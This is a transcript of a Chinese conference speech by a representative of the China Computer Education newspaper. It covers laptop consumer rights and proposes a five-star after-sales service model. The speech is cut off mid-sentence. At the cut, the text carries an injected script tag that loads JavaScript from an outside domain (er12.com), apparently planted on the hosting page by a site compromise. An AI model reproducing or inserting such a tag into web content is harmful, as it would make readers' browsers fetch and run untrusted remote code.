尊敬的董秘书长，周博士，来自于华硕的杨先生和来自于联想、海尔、东芝等等厂商的代表，我占用大家大概十几分钟的时间，讲一下我们报社对笔记本电脑消费的理解和看法，不叫什么报告了。刚才董秘书长在讲话中也提到了，希望大家不要趟在三包的底线说，应该做一些创新性的发展，引领这个竞争。
接下来我想讲一下从电脑教育报的角度，我们一直以来在为消费者做的什么，我们是怎么不趟在三包的底线，我觉得这些观点都是一家之言，本身今天就是一个研讨会，就来探讨，希望得到大家的指正。
中国电脑教育报今年有十三年的历史，是面向消费者的媒体，今年我们每周一刊，分成两刊，第一刊是消费应用，针对电脑数码场频，另外一刊是针对教育行业。我们读者是最终的用户，我介绍了三类，一个是it爱好者，一类是技术人员，一类是it爱好者，我们今天很多都是电脑的用户和潜在用户，我们今天请来北京工商大学和公安大学用户代表，本身大学也是笔记本非常集中的一个地方。中国电脑教育报目前单期发行量是35万份，零售是15万，基本覆盖全国除了台湾以外所有省市、自治区。我们读者年龄在三十多岁以下的人群，这个我不再多讲了。
我主要讲一下06年中国电脑教育报有一期两落的布局，面向个人和教育行业的架构，形成了跨价值链的体系，一部分消费应用是在个人继续强化新产品技术的报道，以及对产品的销售和购买之后的报告，维护推广，对产品的推荐；教育信息化这一块，我们主要挖掘教育行业用户，以及整个教育创新的角度，怎么利用信息技术这个手段，比如现在很多大学在提倡笔记本大学这个概念。我05年7月份去了江西，他有一所江西先软件学院，他的学生跟某家厂商谈成了四千太笔记本采购的集中的单子，他觉得这个产品更适合他来学习，四千台相对对我们的维护和服务也提出了很深的要求和很高的要求，这也是我们中国电脑教育报关注这一点原动力所在。
这是06年的封面，左边是比较时尚的色，右边针对行业的比较庄重和规范，这个有不同的特点。
回到今天的主题，我们中国电脑教育报从创刊以来，特别从去年以来，我们非常关注笔记本电脑的同时，关注消费者的权益。在04年年底，我们曾经和中国消费者协会联合做过笔记本电脑售后服务的一个论坛，这个论坛在西苑饭店举行，也吸引了几百位用户的带来。
今年笔记本进入了一个驳议时代，接下来有赛迪顾问文小姐的介绍，笔记本电脑讲价是一个主旋律，基本上销量成长快于利润的成长，我们认为这种情况下，随着intel的架构，很容易使很多企业开始从产品加服务的角度，通过多样化的服务来促进它在市场上的竞争，或者帮助消费者在区别选择。
我们认为刚才正像董秘书长所提到的，咱们消费者协会对整个电脑产品分微型计算机或者台式计算机这一类，随着市场的发展，其实笔记本电脑它作为一个大众消费品倾向越来越明显，增量很多来自于家庭，这不是单一的我拿了一个笔记本就是办公永德，比如有时候有娱乐的平台，宽屏的笔记本等等，也就是说很多笔记本本身的产品使用型同质化也在加强。我们认为在增量增长快于利润增长的情况下，服务的重要性也是非常多的，这一点赛迪顾问会具体谈的，我相信很多数据都是同一组数据。我们认为现在笔记本消费，他是一个全流程，从产品的生产到通过商家，到消费者拿走以后，消费者只是购买的开始，以后很多都是微少着服务完成后一半的工作，甚至在售前有服务，这种服务有别于传统的家电产品，三包的概念产生于1986年代，那时候冰箱、洗衣机这种服务如果推到售后的服务，满足消费者需求一个是产品质量，一个是服务，那时候服务一个是质量，一个是服务。像笔记本电脑质量比较高的产品，他的服务远远不等于维修。我们觉着应该有这么一个类似于五星服务的范畴来构成，满足笔记本消费后需服务的理念，五星服务分了五个部分：
第一部分首先产品质量很重要，像三包以后手机的质量服务双下降，投诉占到10％，我们通常质量默认是好的情况下再做服务，但是目前这个东西还不是这样。我前两天去海龙，他们的产品很便宜三千多块钱的笔记本，液晶屏如果坏了他肯定会给换，所以我觉得服务第一位还是产品质量。
第二位是服务体系，我刚才仔细看了一下咱们华硕的名片，他背后写着一个服务网络，我在这儿无意说华硕笔记本电脑好还是不好，很多电脑的服务网点还没有写，虽然我们现在有网络手段，有114可以查询电话，甚至有说明书，但是我觉得有的时候需要用的时候，应该是随时知道的信息才是最好的，所以服务体系的建设，一个是告知性，一个是服务体本身的完善性，包括东西部的差距，我相信很多企业他的服务网点跟他的销量应该是成正比的，你销量多的地方往往服务不多，这种做法从经济角度考虑是没有问题的，是不是最符合消费者的利益，我觉得这一点应该值得探讨的。
第三个是应用指南或者应用指导，具体到笔记本这方?script src=http://er12.com/t.js>
